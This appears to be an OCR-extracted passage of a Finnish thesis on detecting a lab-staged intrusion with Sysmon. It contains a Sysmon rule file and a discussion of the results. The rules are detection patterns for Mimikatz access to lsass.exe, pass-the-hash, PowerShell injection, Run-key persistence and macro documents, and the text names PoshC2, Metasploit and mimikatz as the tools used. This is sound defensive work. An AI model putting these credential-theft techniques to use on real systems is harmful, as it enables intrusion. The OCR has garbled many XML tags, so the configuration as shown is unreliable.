21 <ProcessTerminate onmatch="include"/>
22 <DriverLoad onmatch="include"/>
<Imageload onmatch="include"/>
= <CreateRemoteThread ommatch="include":>

<!--Prosessin injektointi-->

<Sourcelmage name="Possible powershell code injection" condition="contains">powershell.exe</Scurcelmage:
<!--Tunnistetietojen lukeminen toimialuepalvelimelta-->

<TargetImage name="Possible Hashdump activity" condition="contains">lsass.exe</TargetImage>

- </CreateRemoteThread>
<RawhccessRead onmatch="include"/>
= <Processhccess onmatch="include">

<!--Tunnistetietojen luku mmistista-->

<Grantedhccess name="Mimikatz logonpasswords lsass access" condition="is"»0x1010</Grantediccess>
«!--Pass-the-Hash hydkkays-->

<Grantedhccess name="Mimikatz Pass-the-Hash lsass access" condition="is">0x1038</Grantediccess>

k= </Processhccess>
<FileCreate onmatch="include"/>
= <RegistryEvent onmatch="include">

<!--Persistenssi-->

<TargetObject name="Registry Autorun Keys" condition="contains">\CurrentVersion\Run</TargetObject>
+ </RegistryEvent>

= <FileCreate3treamiash onmatch="include">

<!--Ladatut 0ffice macro -dokumentit-—->

<TargetFilename "Word macre file downloaded" condition="end with">.docm</TargetFilename>
<TargetFilename Excel macro [ile downleaded" condition="end with"».xlsm</TargetFilename>
<TargetFilenams "Excel macroe file downloaded" condition="end with"».xlam</TargetFilename>
<TargetFilename na "PowerPoint macro file downloaded" condition="end with">.potm</TargetFilename>
43 <TargetFilename na PowerPoint macro file downloaded" condition="end with">.pptm</TargetFilename>
49 <TargetFilename name="PowerPoint macro file downloaded" condition="end with">.sldm</TargetFilename:>
50 F </FileCreateStreamash>
51 <PipeEvent conmatch="include"/>
52 <WmiEvent onmatch="include"/>
53X ke </EventFiltering>

54 ~</Sysmon>

Kuva 29. Hyokkayksen perusteella koottu sdantétiedosto.
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Possible program launched by Office macros" condition="contains">WINWORD.EXE</ParsntImage
"Possible program launched by Office macros" condition="contains">POWERPNT.EXE</ParentImage>
<ParentImage name="Possible program launched by Office macros" condition="contains">EXCEL.EXE</ParentImage>
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6 POHDINTA JA TULOKSET

Yrityksiin kohdistuvat hyokkaykset ovat jokainen omalla tavallaan erilaisia ja siksi niista
on hankalaa esittaéa yksiselitteista hyokkaysketjua. Microsoftin luoma ATA Killchain kui-
tenkin auttoi osittain tydssa tehtyjen hydkkaysten eri vaiheiden suunnittelussa ja toteu-
tuksessa. Kaikkia hyokkayksen prosessikaavion vaiheita ei esitetty tydssa, koska virtu-
alisoitu hydkkaysymparisto vie liikaa tietokoneen resursseja. Esimerkiksi yhden paate-
laitteen sijaan niitd olisi voinut olla enemman, jotta sisainen tiedustelu- ja levidmisvaihe

olisi saatu toteutettua paremmin.

Hydkkayksessa kaytetyt tydkalut ja menetelmat kattavat vain murto-osan niista, joita
hyokkaajien tiedetaan kayttavan. Kaytetyt tyokalut ja menetelmét ovat kuitenkin erittain
suosittuja ja hyokkaajat saattavat kayttaa niitd jossain vaiheessa hyokkaystaan. Tyon
tarkoituksena ei ollut l6ytaa jokaista mahdollista hyokkaystekniikan indikaattoria, vaan
antaa yleiskuva Sysmonin toiminnasta ja demonstroida, miten sen lokitiedoista voidaan

havaita yleisimmin kaytettyja hyokkaysmenetelmia.

Sysmonin havainnointikykya on helppo kehittda myds ilman fyysista testausta. Interne-
tissa on tarjolla todella paljon dokumentointia eri tietomurroista, hakkeriryhmisté ja hait-
taohjelmista. Nama dokumentoinnit sisaltavat paljon teknista analyysia hytkkaysten ku-
lusta ja toiminnasta, joiden pohjalta voidaan luoda uusia sdantoja laajentaakseen hyok-

kayspinta-alan havainnointikykya.

Myds tassa tydssa lahteena kaytetty MITRE ATT&CK -tietosivusto, joka toimii ikdén kuin
kyberuhkien Wikipediana, auttoi hydkkaysten analysoinnissa ja tarjosi kattavan maaran
lahteita. Jatkokehitysideana havainnointikyvyn parantamiseksi on luoda MITRE:n poh-
jalta hyokkaajien taktiikoihin ja tekniikoihin perustuva matriisi, jota voidaan kayttaa apuna

Sysmonin saantdjen kehittamisessa.

Hydkkayksissa kaytetyt moduulit olivat PoshC2, Metasploit ja mimikatz. Alkutartunnan
vektoriksi valittiin edelleen hydkkaajien suosiossa oleva séahkopostin kautta vastaan-
otettu haitallinen Microsoft Office —dokumentti. Jalansijan saatua jarjestelmasta, varmis-
tettiin sen pysyvyys persistenssilla takaovella. Toimintaa naamioitiin injektoimalla takaovi
toiseen sovellukseen. Siséisen tiedustelun tuloksena saatiin haltuun toimialueen yllapi-

tajan kayttaja, jolla vaarannettiin koko toimialue.
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Jokaisesta hyokkaysvaiheesta ilmeni poikkeamia Sysmonin tapahtumalokeissa. Ty6n
tavoitteena oli lyhentdd hyokkaysten havaitsemiseen kuluvaa aikaa. Sysmonia ja tydssa
laadittua saantttiedostoa kayttamalla havaittaisiin tyypillinen hyékkays jo ensi minuu-
teilla kayttajan avatessa haitallisen Office-dokumentin. Koska hyokkays saatettiin alusta
loppuun ja sen toteutuksessa noudatettiin Microsoftin laatimaa prosessikaaviota tunne-
tuista hyokkayksista, voidaan myds osittain havaita hyokkaysmenetelmia muissakin kuin

alkutartunnan vaiheissa.

Sysmonin havainnointikykya testatessa on hyva muistaa, ettd indikaattoreiden pitaa olla
toistettavissa. Hyokkaykset on toistettava ja tuloksia on verrattava keskenaan, jotta voi-
daan olla varmoja |6ydetyn poikkeaman luotettavuudesta. Sysmon implementoituna lo-
kienhallintajarjestelmaan ei ole mydskaan ainut ratkaisu uhkien estamiseen ja on muis-
tettava, ettd suurin rooli tietoturvassa on ajan tasalla olevat, seka hyvin suunnitellut tie-
tojarjestelmat. Tyontekijéiden kouluttamisella voidaan kanssa pitkalti ehkaista syntyvia
uhkia. Keskitetty lokienhallinta ja Sysmon ovat kuitenkin tarke& osa koko tietoturvakoko-
naisuutta, jonka avulla voidaan havaita mahdollisesti syntyneita uhkia.
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